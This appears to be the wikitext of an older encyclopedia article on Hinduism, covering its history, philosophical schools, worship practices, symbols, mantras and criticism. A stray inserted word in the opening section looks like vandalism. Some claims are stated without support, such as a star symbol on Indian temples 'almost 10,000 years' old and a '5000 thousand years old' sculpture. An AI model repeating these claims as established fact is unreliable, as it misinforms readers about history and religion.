[[Image:Wheel of Konark, Orissa, India.JPG|thumb|right|250px|The [[Sun Temple]] in [[Konark]], [[Orissa]] is one of the most famous stone [[monument]] in the world. The temple is conceived as a massive 24-wheel chariot of the Sun God [[Surya]].]]
Hinduism is one of the world's oldest major religions in existence. From a Hindu perspective, the [[Sanatana Dharma]] propounds eternal and universal principles with no beginning or end. The [[Purana]]s place Lord Krishna's birth at around 3100 BCE. Krishna's incarnation was preceded by Lord [[Rama]]'s, sometimes dated at over 5-6000 BCE, or even more than a million years ago in the [[Treta Yuga]] according to the Ramayana Epic. Many Hindus believe that their religious tradition was fully formed by the time of Lord [[Rama]], the seventh incarnation of Lord [[Vishnu]]. Modern [[Indology]] dates the roots of Hinduism to about 1500-1300 BCE, based on [[Linguistics|linguistic]] and literary dating of the Rig Veda. However this dating is rejected by those who question the validity of the [[Indo-Aryan migration]] hypothesis.

The origin of collective Hindu thought cannot be ascribed to any single founder (though most of its later schools of philosophy and belief can be), or associated with a specific time or a single place of foundation. The Vedas, the earliest Hindu scriptures, are the compilation of spiritual laws and truths binding upon all of creation. It is believed that each Veda was revealed to enlightened sages, called [[Rishi]]s, over a long period of time. Lord Vishnu is believed to have transmitted the Vedas to Lord Brahma via meditative trance at the beginning of each &gt;Afifi&lt; creation.

Hinduism, along with [[Buddhism]] and [[Jainism]], is regarded to be an ''[[Arya]] [[Dharma]]'', meaning, a noble religion.

=== Etymology ===
Though linguists and historians haven't reached a consensus, the term [[Hindu]] is generally accepted to be derived from the name of the [[Sindhu]] ({{lang|sa|सिन्धु}}, i.e., the [[Indus]]) river, which is known as '''Hindu''' in Persian. The term was used for people that lived around or beyond the Sindhu. In this region, the advanced [[Mohenjo-daro]] civilization flourished about five thousand years ago. Hinduism, in some form, probably existed long before that. According to [[Historical linguistics]], the /s/ of the [[Indo-Aryan languages|Indo-Aryan]] branch (as represented by Sanskrit) is cognate with the /h/ sound of the [[Iranian_languages|Iranian]] branch(as represented by [[Avestan]] and Old Persian). In the Rig Veda, the Indo-Aryans mention their expanse as '''sapta sindhu''' (the land of seven rivers). This became the term '''Hapta-Hindu''' in [[Avesta]] (Vendidad: Fargard 1.18). Hindu (In-du or In-tu in [[China]]) is still used in some languages to denote an Indian or India. The [[Greek language|Greek]] term &quot;India&quot; was originally pronounced Hindia; /h/ became lost as in later Greek there was no character for &quot;h&quot;. In modern Persian and Arabic, the term '''Hindustan''' denotes the Indian subcontinent, and '''Hind''' or '''Al-Hind''' is used to denote the Republic of India.

The word '''Hindu''' ({{lang|sa|हिन्दु}}), possibly due to Iranian influence, in the sense of people of India, is used in some early-medieval Sanskrit texts like BhaviShya Purana, Kalika Purana, Merutantra, Ramakosha, Hemantakavikosha and Adbhutarupakosha. India is also traditionally, but unofficially called [[Hindustan]] or [[Hind]] in [[Hindi]], [[Persian language|Persian]] and [[Arabic]]. Note that the word [[Hindustan]] also has other meanings.

Until about 19th century the term Hindu implied a culture and ethnicity and not a religion. When the British government started periodic censuses and established a legal system, the need arose to define [[Hinduism]] as a distinct religion, along the lines of [[Christianity]] or [[Islam]]. Some scholars, such as [[Bal Gangadhar Tilak]], defined it as a religion based on the [[Vedas]], using the analogy of the [[Bible]] being the basis of Christianity and the [[Qur'an]] being the Muslim scripture.

That even an [[atheism|atheist]] may be called a Hindu is an example of the fact that Hinduism is far more than a simple religious system; it is actually an extremely diverse and complicated river of evolving [[philosophy|philosophies]] and ancient [[tradition]]s.

===Vedic religion===
{{main|Vedic religion}}
Modern Hinduism grew out of the knowledge described in the [[Vedas]]. The earliest of these, the [[Rigveda]] centers on worship of the deities [[Indra]] and [[Agni]], and on the [[Soma]] ritual. They would perform fire-sacrifices called [[yagna|yajña]] (यज्ञ) with the chanting of the Vedic mantras, but they built no temples, idols or icons. Probably animals were also sacrificed in larger yajñas, as claimed by Buddhist and Jain texts. The [[Ashvamedha]] was the most important sacrifice described in the [[Yajurveda]], possibly performed for the last time by [[Samudragupta]] in the [[4th century]]. The age and origins of the Vedas themselves are disputed, but it is clear that they were transmitted orally for several millennia. They show strong similarities to the language and religion of the [[Avesta]], as well as more distantly to other [[Indo-European languages]] and religions (see [[Indo-Aryan migration]]).

===Hindu nationalism===
{{main articles|[[Hindu Nationalism]], [[Hindutva]], and [[Hindu Rashtra]]}}

In the 20th century, emerging Indian [[nationalism]] began to emphasize Hinduism, in opposition to the British Raj, but also in contrast to [[Islam]], and after Independence in connection with the territorial disputes with Pakistan. Such nationalistic Hinduism is generally termed [[Hindutva]] (&quot;Hinduness&quot;, paradoxically not a well-formed Sanskrit word, since &quot;Hindu&quot; is a Persian word), but the boundaries are fluid and the Indian Supreme Court ruled that &quot;no precise meaning can be ascribed to the terms 'Hindu', 'Hindutva' and 'Hinduism'; and no meaning in the abstract can confine it to the narrow limits of religion alone, excluding the content of Indian culture and heritage.&quot; Hindutva ideology was enunciated first by [[Savarkar]] in his seminal work 'Hindutva'. Hindutva ideology rose to importance in [[Politics of India|Indian politics]] in the [[1980s]] and is chiefly associated with the [[Rashtriya Swayamsevak Sangh]] movement. It has come to symbolize the rising bi-polarization of Indian polity in the late 1990's and the first decade of the 21st century, evident in the rise of the [[Bharatiya Janata Party]] (BJP) in the same period. One of their short term aims is to build a temple to Rama at the site of the controversial [[Babri]] [[mosque]] (destroyed by some Hindutva activists in 1992) in [[Ayodhya]]. Many believe that Lord Rama was born at the site, and that a Vaishnavite temple was constructed there to commemorate the birthplace. Some historians and Hindutva activists claim that the [[Mughal]] commander [[Mir Baki]] destroyed the temple and built the Babri mosque, in his alleged frenzy of [[iconoclasm]]. However, the destruction of the temple is also attributed to the [[Mughal]] Emperor [[Aurangzeb]].

===Temples===
{{main|Mandir}}
[[Image:Temple4.jpg|thumb|295px|left|The world's first [http://www.swaminarayan.info/mandirs/kalupur/ Swaminarayan Temple]was built in [[Ahmedabad]] by the instructions of [[Bhagwan Swaminarayan]].]]
[[Image:Gopuram-madurai.jpg|thumb|200px|right|Most of the Hindu temples have their principal shrine facing the rising sun and their entrance facing east. An important aspect of the temple design is that it is intended to lead from the temporal world to the eternal one. Shown here, is the [[Meenakshi temple]] in Tamil Nadu, a southern state of India.]]
Hindu temples inherited rich and ancient rituals and customs, and have occupied a special place in Hindu society. They are usually dedicated to a primary deity, called the presiding deity, and other subordinate deities associated with the main deity. However, some ''mandirs'' are dedicated to multiple deities. Most major temples are constructed as per the [[agama|agama shastras]] and many are sites of pilgrimage. For many Hindus, the four '''Shankaracharyas''' (the abbots of the monasteries of [[Jyotirmath|Joshimath]], [[Govardhana matha|Puri]], [[Sringeri Sharada Peetham|Sringeri]] and [[Dwaraka Pītha|Dwarka]] — four of the holiest pilgrimage centers — sometimes to which a fifth at [[Kanchi matha|Kanchi]] is also added) are viewed as the four highest [[Patriarch]]s of the Hindudom.

Temples are a place for darshan (vision of the divine), [[puja]], [[meditation]], and religious congregation (though not so regular and often as among the Muslims and the Christians) among other religious activities. [[Puja]] or worship, frequently uses the aid of a ''[[#Forms of worship: icons and mantras|murti]]'' (statue in which divine presence is invoked) in conjunction with the singing or chanting of meditational prayer in the form of [[mantra]]s. Devotional songs called [[bhajan]]s (written primarily from the 14th-17th centuries), [[kirtan]] (devotional songs), and [[arti]] are sometimes sung in conjunction with performance of puja. This rather organic system of devotion attempts to aid the individual in connecting with God through symbolic communion. This form of icon and temple worship, [[puja]], is integral to the [[Bhakti]] cult.

Most Hindu homes also have a specific area devoted to daily worship of the deities with religious icons and meditation.

===Current geographic distribution===
{{main|Hinduism by country}}
[[Image:Neasden_Temple_-_Shree_Swaminarayan_Hindu_Mandir_-_Gate.jpg|thumb|left|250px|Hinduism continues to grow, as is evidenced by the modern [[Neasden Temple]] in [[London]].]]
[[Image:Mahakumbh.jpg|thumb|225 px|The largest religious gathering on Earth. Around 70 million people from around the world participated in [[Kumbh Mela]] at one of the Hindu Holy city [[Prayaga]] (also known as Allahabad) ([[India]]).]]

Of the total Hindu population of the world, about 94% (890 million) live in [[India]]. Significant numbers of Hindus reside in [[Bali]], [[Bangladesh]], [[Bhutan]], [[Fiji]], [[Guyana]], [[Nepal]], [[Mauritius]], [[Suriname]], [[Singapore]] and [[Trinidad and Tobago]]. In [[Nepal]] and [[Bali]], Hinduism is the major religion, and is still reflected in the traditional culture and architecture. There are also sizeable Hindu populations in [[Sri Lanka]] (3 million), [[Pakistan]] (2.5 million),  [[Malaysia]] (1.5 million), [[United States]] (1.5 million), [[South Africa]] (1.1 million) the [[Middle East]] (1 million) and the [[United Kingdom]] (1 million).

==Hindu philosophy: the six Vedic schools of thought==
{{main|Hindu philosophy}}
The six ''Astika'' or orthodox (accepting the authority of the Vedas) schools of Hindu philosophy are [[Nyaya]], [[Vaisheshika]], [[Samkhya]], [[Yoga]], [[Purva Mimamsa]] (also called just 'Mimamsa'), and [[Vedanta|Uttara Mimamsa]] (also called '[[Vedanta]]'). The non-Vedic schools are called Nastika, or heterodox, and refer to [[Buddhism]], [[Jainism]] and [[Lokayata]]. The schools that continue to enrich Hinduism today are [[Purva Mimamsa]], [[Yoga]], and [[Vedanta]]. See [[Hindu philosophy]] for a discussion of the historical significance of [[Samkhya]], [[Nyaya]], and [[Vaisheshika]].

===Purva Mimamsa===
{{main|Purva Mimamsa}}
The main objective of Purva (&quot;earlier&quot;) [[Mimamsa]] school (also simply called '''Mimamsa''') was to firmly establish the authority of the Vedas. Consequently, this school's most valuable contribution to Hinduism was its formulation of the rules of interpretation of Vedas. Its adherents believed that true knowledge is self-evidently proven, and tried to find out the basis of the Vedic ritualism through reasoning. This school of thought forms the basis of Modern Hindu ritualism (strictly followed only by a minority), which believes in the inherent power of rituals.

===Yoga===
{{main|Yoga}}
[[Image:Indus 03.jpg|thumb|200px|right|In Hinduism, Yoga is considered to be the ultimate way of attaining spiritual goals. The earliest written accounts of yoga appear in the [[Rig Veda]], which began to be codified between 1500 and 1200 BCE. Some historians believe that this 5000 thousand years old sculpture is of a yogi.]]
Yoga means ''union'' and is generally interpreted as union with the Divine, or integration of body, mind, and spirit. Its goals are [[moksha]] or [[samadhi]]. It, like the [[Upanishad]]s, seeks liberation through the disunion of the spirit ([[Purusha]]) and the nature ([[Prakriti]]), through meditational, physical and spiritual practices, along with a firm belief in God ([[Ishvara]]).

[[Upanishads]], sage [[Patanjali]]'s [[Yoga Sutra]] and the [[Bhagavad Gita]] are indispensable literature in the study of Yoga and elaborate on [[Raja Yoga]], [[Bhakti Yoga]], [[Karma Yoga]] and [[Gyana Yoga]]. Of these, the [[Yoga Sutra]] is essentially a compilation and systematization of meditational Yoga philosophy.

===Uttara Mimamsa: Vedanta and its three main schools===
{{main|Vedanta}}
The Uttara (&quot;later&quot;) Mimamsa school, also called as [[Vedanta]], is the central pillar of Hinduism and was responsible for a new wave of philosophical and meditative enquiry, renewal and revival of Hinduism, and established strong philosophical foundation. Primarily associated with the [[Upanishad]]s and their commentaries by [[Badarayana]] — the [[Vedanta Sutra]]s, Vedanta thought, according to the pre-Shankaran Buddhist sources (Aryadeva, Kamalashila, Bhavya) monotheistic, later split into three principal (and three other) groups, initiated by the thinking and writing of [[Adi Sankara]]. Most Hindu thought today in some way relates to changes affected by [[Vedanta|Vedantic]] thought, which focused on unity of the whole God.
The great debate between followers the major Hindu philosophical school, [[Advaita]] and the schools such as those of [[Ramanuja]] and [[Madhva]], focused on the true nature of [[Brahman]], on whether Brahman was essentially monistic, qualified non-dualistic or dualistic in nature. The world famous sect of [[ISKCON]], worshipping [[Krishna]], follows the Vedantic philosophy of '''Acintya Bhedabheda''' by [[Chaitanya Mahaprabhu]].

====Pure monism: [[Advaita Vedanta]]====
{{main|Advaita}}
''Advaita'' literally means &quot;not two&quot;; thus this is what we refer to as a monistic (or non-dualistic) philosophy, which emphasizes the oneness of the Divine. Its proponent was [[Adi Sankara]] ([[788]]?-[[820]]?). Sankara expounded his theories largely based on previous teachings of the [[Upanishad]]s and his own [[guru]] [[Govinda Bhagavadpada]]. By the analysis of Vedas, he proposed the relative nature of the Universe and established the non-dual nature of Brahman in which [[Atman]] (the individual soul) and [[Brahman]] (the Ultimate Reality) are identified to be identical. Reality is categorised into three levels: '''Transcendental''', '''Pragmatic''' and '''Apparent'''. As compared to the Brahman which is the Supreme Reality, everything else, including the universe, the individuals and even Ishvara are not true. The universe, the individuals and Ishvara are true only in the Pragmatic level.

To Advaitists (nondualists) Ultimate Reality is best expressed as [[Nirguna Brahman]], or God without form, or God without physical attributes; indeed, some might go so far as to say it is not 'God' but something beyond - the Godhead. However, even that definition can be limiting. Nirguna Brahman can never be described as that as It transcends all definitions. All personal forms of God ([[Ishvara]]) such as [[Vishnu]] or [[Shiva]] or the Mother Goddess are different aspects of Nirguna Brahman in physical form, or God with attributes, [[Saguna Brahman]]. In fact, when a being tries to know the '''Supreme Spirit''' (Brahman) through his mind, Brahman becomes the '''Supreme Lord''' (Ishvara), under the effect of an illusionary power of Brahman called [[Maya (Hinduism)|Maya]]. The material universe and the appearance of the single Atman to be seen as innumerable individual souls are also because of Maya. True knowledge of the Brahman ('''Jñana''') is the only way to liberation; however, good Karma and Bhakti are recognized as great help in attaining true knowledge. Adi Sankara had also condemned the caste system.

====Qualified monism: [[Vishistadvaita]] [[Bhakti]]====
{{main|Vishistadvaita}}
[[Ramanuja]] ([[1040]] - [[1137]]) was the foremost proponent of the concept of Sriman '''Narayana''' as the supreme Brahman. He taught that Ultimate Reality had three aspects: '''Ishvara''' ([[Vishnu]]), chit (soul) and achit (matter). Vishnu is the only independent reality, while souls and matter are dependent on God Vishnu for their existence. Because of this qualification of Ultimate reality, Ramanuja's system is known as qualified non-dualism. [[Karma]] along with [[Bhakti]] for is the true path for liberation.

====Dualism: [[Dvaita]] [[Bhakti]] ====
{{main|Dvaita}}
Like Ramanuja, [[Shri Madhvacharya|Madhva]] ([[1238]] - [[1317]]) identified [[God]] with Vishnu, but his view of reality was purely dualistic in that he understood a fundamental differentiation between the ultimate Godhead and the individual soul, and the system is therefore called Dvaita (dualistic) Vedanta. [[Bhakti]] is the only way for liberation.

==Alternative cultures of worship==

===The Bhakti schools===
{{main|Bhakti}}
[[Image:Ganesha2.jpg|thumb|right|[[Ganesh|Shri Ganesh]] is the son of [[Shiva]] and [[Parvati]]. He is widely worshipped as [[Vignesh]], the remover of obstacles.]]
The [[Bhakti yoga|Bhakti]] (Devotional) school takes its name from the Hindu term that signifies a blissful, selfless and overwhelming devotion of God as the beloved Father, Mother, Child, or whatever relationship finds appeal in the devotee's heart. The philosophy of Bhakti seeks to relate to the personal form of God. Seen as a form of [[Yoga]], or union, it seeks to interlink the self with God, since consciousness of the body and limited mind as self is seen to be a limiting factor in spiritual realization. 
Essentially, it is God who effects all change, who is the source of all works, who acts through the devotee as love and light. 'Sins' and evil-doings of the devotee are said to fall away of their own accord, the devotee shriven, limitedness even transcended, through the devotion of God. The [[Bhakti]] movements rejuvenated Hinduism through their intense expression of devotion and their responsiveness to the emotional and philosophical needs of India. 

Altogether, bhakti resulted in a mass of devotional literature, music and art that has enriched the world and given India renewed spiritual impetus, one eschewing elaborate rituals.

===Tantra===
{{main|Tantra}}
Tantra is one of the least understood areas of Hinduism — often perceived as free sex associated with religion. A tantra literally means an act. A mantra is a hymn or sacred words associated with a deity. A mantra is associated with an Yantra, which is a mystical diagram. All acts of worship which include Mantras, Yantras are called Tantras.

Tantras can be divided into two paths - The right hand path (also known as samayachara or Dakshinachara) and the Left hand path (Vamachara).

Extolled as a short-cut to self-realization and spiritual enlightenment by some, left-hand tantric rites are often rejected as dangerous by most orthodox Hindus. 

:''For the benefit of men of the Kali age, men bereft of energy and dependent for existence on the food they eat, the Kaula doctrine, O auspicious one! is given'', said Shiva on the Kaula school of Tantrism.

The word &quot;[[tantra]]&quot; also means &quot;treatise&quot; or &quot;continuum&quot;, and is applied to a variety of mystical, occult, medical and scientific works as well as those regarded as &quot;tantric&quot;. Most tantras were written in the [[Middle Ages]] and sprang from Hindu cosmology and [[Yoga]].

== Important themes and symbols in Hinduism==
[[Image:YoungBrahminBoy.jpg|thumb|175px|right|This young [[India]]n brahmachari bears on his forehead the distinctive triple-line [[tilaka]] (made out of ash, referred to as ''vibhuti'') and on his chest a [[rudraksha]] (eye of [[Rudra]]) and [[mala]] (rosary), both symbols of Lord [[Shiva]]]]
=== Tilaka (symbol on forehead or between eyebrows) ===
{{main|Tilaka}}
The ''tilaka'' (or ''tilak'') is a tattoo worn on the forehead and other parts of the body for spiritual reasons. It is believed to symbolize the need to cultivate supramental consciousness, which is achieved by opening the mystic ''third eye''. Although traditionally adorned, in one form or the other, by Brahmins (to denote the priestly class in Hindu society) and married women (to denote marriage and auspiciousness), in the modern context, it is most commonly seen as a decorative dot (or ''Bindi'') worn by women on the forehead.

Hindus stress meditation to acquire knowledge beyond the mind and body, a trait that is often associated with the ascetic deity [[Shiva]]. Men, too, will bear on their foreheads the equivalent ''Tika'' ([[tilaka]]) mark, usually on religious occasions, its shape often representing particular devotion to a certain main deity: a 'U' shape stands for [[Vishnu]], a group of three horizontal lines for [[Shiva]]. It is not uncommon for some to meld both in an amalgam marker signifying ''Hari-Hara'' (Vishnu-Shiva indissoluble).

=== Ahimsa (non-violence), vegetarian diet and the cow ===
{{main articles|[[Ahimsa]], [[Sacred cow]], and [[Vegetarianism]]}}
Ahimsa is a concept that advocates non-violence and a respect for all forms of life — human as well as animal. The term ''ahimsa'' first appears in the [[Upanishad]]s, and is the first of the five ''Yamas'', or eternal vows/restraints in [[Raja Yoga]]. 

A large section of Hindus embrace vegetarianism in a bid to respect higher forms of life. While vegetarianism is not a dogma or requirement, it is recommended as a [[sattwa|sattwic]] (purifying) lifestyle. About 30% of today's [[Hindu]] population, especially in orthodox communities in [[South India]], states like Gujarat, which has had significant [[Jain]] influence, and in many [[Brahmin]] and [[Marwari]] enclaves around the subcontinent, are lacto-vegetarian. Some avoid even [[onion]] and [[garlic]], as they are regarded as [[rajasic]]/tamasic.

Those [[Hindus]] who do eat meat (usually chicken, goat and fish) predominantly abstain from [[beef]]. Some even avoid the use of cow's leather products. This is possibly because the largely pastoral Vedic people, and subsequent generations, relied so heavily on the cow for milk and dairy products, tilling of fields and fuel for fertilizer, that its status as a 'caretaker' led to identifying it as an almost maternal figure (hence the term ''gau mata'', or ''Cow Mother''). While most Hindus do not actually worship the cow (though many [[veneration|venerate]] her), it still holds an honored place in Hindu society — as the best representative of the benevolence of all animals on man. It is believed that [[Krishna]] is both [[Govinda]] (herder of cows) and Gopala (protector of cows), and [[Shiva]]'s attendant is [[Nandi Bull|Nandi]], the bull. With the stress on vegetarianism (usually followed even by meat-eating Hindus on religious days) and the [[Sacred cow|sacred nature of the cow]], most of the Hindu holy cities have a ban on selling beef — and a legal ban exists on cow-slaughter in almost all states of India.

=== Hindu symbolism ===
Among the most revered symbols in Hinduism, three are quintessentially a part of its culture, and representative of its general ethos:

[[Image:Om2.jpg|right|left|thumb|165px|[[Aum]] ([[Om]])]]
[[Image:Hindu_swastika.png|right|thumb|165px|[[Swastika]]]]
[[Image:Jain Cosmology0007small.JPG|right|thumb|165px|Diagram showing the two mystic syllables Om and [[Hrim]]]]
[[Aum|'''''Aum''''']] (or Om, '''ॐ''') is the sacred symbol of Hinduism, and is prefixed and sometimes suffixed to all Hindu [[mantra]]s and prayers. It contains a deep symbolic message of the divine primordial vibration of the Universe, representing all existence, encompassing all of nature into the ''One Ultimate Reality''. This symbol is commonly found on necklaces worn by Hindus.

'''[[Swastika]]''' ('''卐''') is an [[Arya]], or ''noble and auspicious'' symbol. It stands for [[satya]], truth, and stability within the power of [[Brahma (god)|Brahma]] or, alternatively, of [[Surya]], the sun. Its rotation in four directions has been used to represent many ideas, but primarily describes the four directions, the four Vedas and their harmonious whole. It has been used predominantly in Hinduism since the early [[Vedic civilization|Vedic culture]], and is still widespread in the [[Indian subcontinent]]. Many other cultures continue to hold it as auspicious, in spite of the recent association with [[Nazism]], which used a modified version of this symbol.

The '''[[Mandala]]''' of the hexagram, somewhat resembling the [[Star of David]], is an archetypal symbol for the sacred union of opposite energies. Formed by the intertwining of the &quot;fire&quot; and &quot;water&quot; triangles (the male &quot;blade&quot; and the female &quot;chalice&quot;) this symbol represents the masculine and feminine principles in perfect union. In [[India]] the symbol represents the &quot;cosmic dance&quot; of [[Shiva]] and [[Shakti]]. The Star symbol has been found on temples in India from almost 10,000 years ago. In addition to the balance between man and woman, the Star symbolizes the [[Nara-Narayana]], or perfect meditative balancing state achieved between Man and God, and if maintained, results in &quot;[[Moksha]]&quot;, or &quot;[[Nirvana]]&quot;, i.e., release from the bounds of the earthly world and its material trappings.

===Murtis (icons)===
{{main|Murti}}
[[Image:Nataraja.jpg|thumb|250px|left|The dancing posture of Lord [[Siva]], known as the [[Nataraja]], is often said to be the supreme statement of Hindu art]]
Whether believing in the One source as formless (nirguna brahman, without attributes) or as a personal God (saguna Brahman, with attributes), Hindus understand that the one truth may be seen as different to different people. The philosophy of Bhakti seeks contact with the personal source of Brahman, which explains the proliferation of so many Gods and Goddesses (sic) in India, often reflecting the singular inclinations of small regions or groups of people. 

Worship of God is often represented symbolically through the aid of icons (''murti'') which are conduits for the devotee's consciousness, markers for the human mind that signify the ineffable and illimitable nature of the power and grandeur of [[God]]. They are symbols of the greater principle and according to the understanding of the worshipper, the concept or entity is sometimes presumed to be present in them (in monotheistic doctrines) and sometimes not (in monistic doctrines). 

In a [[Mandir|Hindu Temple]], the divine spirit/energy is commonly invoked into the Murtis at the time of their consecration. [[Veneration]] of such Murtis is done everyday in a [[Mandir|temple]]. Most practicing Hindus also maintain a Puja room like a [[Mandir|temple]] in their homes for worship and meditation. The icons could be two-dimensional paintings or three-dimensional statues. It bears mention that ''Shiva'' is almost always worshipped as a pillar-like stone called ''[[Lingam]]''. Some interpret the term ''lingam'' as a [[Phallus]] due to its shape and certain Puranic stories, but actually, this Sanskrit word means ''any'' sign, symbol, mark or badge in general. Others interpret it as a mystic column (''stambha'') trying to represent the infiniteness of ''Shiva''.

Some of deities worshipped are [[Vishnu]] (as [[Krishna]] or [[Rama]]), [[Swaminarayan]],  [[Shiva]], [[Devi]] (the Mother as many female deities, such as [[Lakshmi]], [[Saraswati]], [[Kali]] and [[Durga]]), [[Ganesha]], [[Agni]], [[Skanda]] and [[Hanuman]].  Also, the [[Puranas]] list twenty-five avatars of [[Vishnu]] : [[Caturasana]], [[Narad]], [[Varaha]], [[Matsya]], [[Yajna]], [[Nara-Narayana]], [[Kapila]], [[Dattatreya]], [[Hayasirsa]], [[Hamsa (purana)|Hamsa]], [[Prsnigarbha]], [[Rsabha]], [[Prithu]], [[Narasimha]] , [[Kurma]], [[Dhanvantari]], [[Mohini]], [[Vamana]], [[Parasurama]], [[Raghavendra]], [[Vyasa]], [[Balarama]], [[Krishna]] and [[Kalki]].

===Sanskrit===
{{main|Sanskrit}}

[[Sanskrit]] is mostly used as a ceremonial language in Hindu religious rituals in the forms of [[hymns]] and [[mantras]]. Its pre-classical form of [[Vedic]] Sanskrit, the liturgical language of the Vedic religion, is one of the earliest attested members of the [[Indo-European language]] family, its most archaic text being the [[Rig Veda]].

===Mantra===
{{main|Mantra}}

Reciting [[mantra]]s or incantations is a general practice in Hindu rituals. Many mantras are from the Vedas. Much of ''mantra yoga'', as it is called, is done through ''japa'' (repetition, usually through a [[rosary]]). Mantras are chanted, through their meaning, sound, and chanting style, to help meditational focus for the [[sadhaka]] (practitioner). They can also be used to aid in expression of love for the deity, another facet of [[Bhakti yoga]] akin to the understanding of the [[murti]]. They often give courage in exigent times and serve to help 'invoke' one's inner spiritual strength. Indeed, [[Mahatma Gandhi]]'s dying words were a two-word [[mantra]] to the Lord [[Rama]]: ''&quot;Hé Ram!&quot;'.

The most revered mantra in Hinduism is the famed [[Gayatri Mantra]] of the [[Rig Veda]] 3.62.10 (see [[Sanskrit]] for pronunciation):	 
:[[Devanagari]]: {{lang-sa|ॐ भूर्भुवः स्वः। तत् सवितुर्वरेण्यम्। भर्गो देवस्य धीमहि। धियो यो नः प्रचोदयात्।}}	 
:Transliteration ([[IAST]]): {{Unicode|Om bhūrbhuvasvaḥ ; tat saviturvareyam ; bhargo devasya dhīmahi ; dhiyo yo naḥ pracodayāt .}}	 
:Pronunciation ([[IPA]]): / {{IPA|oːm bʰuːr bʰuvə svəh ; tət səvitur vəreːɳjəm ; bʰərgoː deːvəsjə dʰiːməɦi ; dʰijoː joː nəh prəcoːdəjɑːt .}}/	 
:Translation: &quot;Om! May we attain that excellent glory of Savitar the Lord / so may He stimulate our prayers.&quot;	 
		 
It is considered one of the most sacred of all Hindu mantras, invoking the universal [[Brahman]] as the principle of knowledge and the illumination of the primordial Sun. Many Hindus to this day, in a tradition that has continued unbroken for at least 3,000 years, perform morning ablutions at the bank of a sacred river (especially the [[Ganga]]/[[Ganges]]) while chanting this mantra.

== Criticism ==
Hinduism is criticized based on current or past regressive social customs such as [[Dowry]], [[Sati]] and [[Caste|casteism]]. 

Hinduism has also been viewed as polytheistic and promoting idol worship. It is to be noted that the term, &quot;Hinduism&quot; itself is an amorphous concept. Only an Advaitan or a follower of [[Advaita]] philosophy, such as [[Smartas]] believe that multiple forms of God are equivalent. For example, a [[Vaishnavite]] considers [[Vishnu]] to be the supreme God and [[Saivites]] consider [[Siva]] respectively as the supreme God. The Hindu counter argument is that Hinduism, specifically Smarta or Advaitan Hinduism is not [[polytheistic]], though it may present an appearance of being so to external observers not familiar with its philosophy. [[monism|Monism]] or [[monistic theism|Monistic Theism]] is generally more apt definition of the Hindu worldview, with the exception of [[Dvaita]], or dualism. The existence of numerous ''human forms'' and ''idols'' of God is an implied principle in Hindu thought. Each ''human form'' or ''idol'' is associated with an important fable, and these representations help people remember and contemplate over them more easily. Rather, criticized idol worship is in actuality veneration of an icon, where an icon is used to focus on God, rather than being the object of worship itself.

Hinduism, specifically, Smarta/Advaitan Hinduism has been viewed as a tolerant religion because it does not subscribe to similar ideas of false God or idolatry because this branch of Hinduism is not fixed on one concept of God. However, the other branches of Hinduism, although they are fixed on one concept of God, (i.e., [[Vaishnavism]],) for example, they adhere to the Vedic principle: &quot;Truth is one, the wise call by different names.&quot; Many outsiders view the Hindu &quot;gods and goddesses&quot; and mythology as only sexuality and violence — which consequently makes the Hindu deities appear immoral. Hindus strongly condemn such interpretations, most of which, according to them, is not only a shallow analysis of the Hindu religion but also willfull and gross misinterpretation of Hindu iconography and mythology.

== References==

# Mascaró, Juan (trans.). 2003. ''The Bhagavad Gita''. Penguin Classics. 160-page revised edition (originally published in 1962), with preface by author and introduction by Dr. Simon Brodbeck. [http://www.amazon.com/gp/product/0140449183]
# Chaudhuri, Nirad C. 1979. ''Hinduism: A Religion to Live By''. Chatto &amp; Windus, London. ISBN 0-7011-2225-0
# Easwaran, Eknath (trans.). 1988. ''The Upanishads''. Penguin Arkana.
# [http://www.britannica.com/ebc/article?eu=402241 Rigveda. Britannica Concise Encyclopedia]
# [http://encarta.msn.com/encyclopedia_761555715/Hinduism.html &quot;Hinduism&quot; on Microsoft Encarta Online]
# {{note|re}} [http://www.iskcon.com/galleries/bg1983/1/index.htm# Bhagavad Gita]

==See also==
{{Hindu scriptures}}

===Hinduism===
* [[Contemporary Hindu movements]]
* [[Hinduism by country]]
* [[Hindu calendar]]
* [[Hindu deities]]
* [[Hindu idealism]]
* [[Hindu temples]]
* [[List of Hindu temples|List of famous Hindu temples]]
* [[List of Hindu denominations]]
* [[List of Hindus]]
* [[List of Hinduism-related articles]]
* [[Sanskrit]]
* [[Vedic science]]
* [[Puja]]
* [[Hinduism and other religions]]
* [[Criticism of Hinduism]]
* [[Apostasy in Hinduism]]
* [[Evolution of Shaivism]]

===Related systems and religions===
* [[Eastern philosophy]]
* [[Buddhism]]
* [[Jainism]]
* [[Ayyavazhi]]
* [[Sikhism]]
* [[Taoism]]
* [[Zoroastrianism]]

==External links==
{{sisterlinks|Hinduism}}
&lt;!--See [http://en.wikipedia.org/wiki/Wikipedia:WikiProject_Hinduism#External_Links] for guidelines to adding links here. PLEASE DISCUSS IN TALK BEFORE ADDING NEW ONES--&gt;
* [http://www.atmajyoti.org/spirwrit_hinduism.asp Atma Jyoti Ashram] Articles on aspects of Hindu spirituality.
* [http://www.atributetohinduism.com/ ''A Tribute To Hinduism''] - This site catalogs thoughts of world-renowned intellectuals regarding Hinduism, recommends books for further reading, and provides useful links for further research.
* [http://www.Hinduism.co.za/ Hinduism.co.za]
*[http://www.telisphere.com/~starbird/mandala.html The Archetypal Mandala of India of the Star of David]
* [http://www.encyclopediaofauthentichinduism.org/ ''Authentic Hinduism'' Encyclopedia]
* [http://www.bbc.co.uk/religion/religions/hinduism/index.shtml BBC Religion and Ethics on Hinduism]
* [http://www.dharmacentral.com/faq.htm Dharma Central's facts about Hinduism]
* [http://hinduism.iskcon.com/ Heart of Hinduism] - Based on the widely used UK schools text.
* [http://www.hindu.org/ Hindu.org]
* [http://www.hindunet.org/ Hindunet.org]
* [http://hinduwebsite.com/ Hinduism and Hinduism resources]
* [http://www.iskcon.com/ International Society for Krishna Consciousness] - From the Vaisnava Tradition of Hinduism.
* [http://www.theuniversalwisdom.org/hinduism/paper-on-hinduism-vivekananda/ Paper on Hinduism by Swami Vivekananda]
* [http://news.hinduworld.com Sarve Samachar] - Hindu news
*[http://www.hinduism-today.com/archives/2004/4-6/37-52_ten_questions.shtml Ten common questions by outsiders and pertinent answers.]
* [http://veda.harekrsna.cz/ VEDA - Vedas and Vedic Knowledge Online]
* [http://www.godrealized.com/Hinduism.html Hinduism articles Bhagavad Gita Sanatana Dharma]
* [http://www.rudrakshanepal.com/festivals.php Hindu Festivals]

